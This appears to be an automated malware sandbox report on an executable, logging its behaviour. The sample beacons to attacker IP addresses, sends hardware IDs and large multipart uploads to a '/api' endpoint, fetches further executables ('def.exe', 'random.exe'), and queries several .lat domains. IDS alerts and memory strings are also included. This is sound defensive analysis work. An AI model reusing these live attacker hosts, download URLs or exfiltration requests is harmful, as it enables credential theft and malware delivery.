00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 30 34 46 44 41 38 36 38 45 37 33 30 39 39 33 30 35 32 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="hwid"AB04FDA868E73099305215------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="build"stok------JEBKKEGDBFIIEBFHIEHC--

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49722 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49742 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49748 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=S0XVJK104JSM607OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12832Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TI11QG7SJ91AKH1KW5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15076Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NERBL1ALI8S6T2VM9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20395Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0UA00PMMTMJ08TAXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1223Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W8TZCONWVG75XA8IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 558918Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: s31ydU1MpQ.exe, 00000000.00000003.1296626489.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queni equals www.youtube.com (Youtube)
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=6b6aee782ee003749cc6841d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 23 Dec 2024 06:28:23 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control/Y< equals www.youtube.com (Youtube)
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr2G equals www.youtube.com (Youtube)
Source: s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1565724088.00000000012BB000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Q=
Source: s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe4
Source: s31ydU1MpQ.exe, 00000000.00000003.1564793183.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeKl
Source: s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeh
Source: s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/zKH
Source: s31ydU1MpQ.exe, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.0000000001082000.00000004.00000020.00020000.00000000.sdmp, BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.00000000010A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/urrentVersion
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
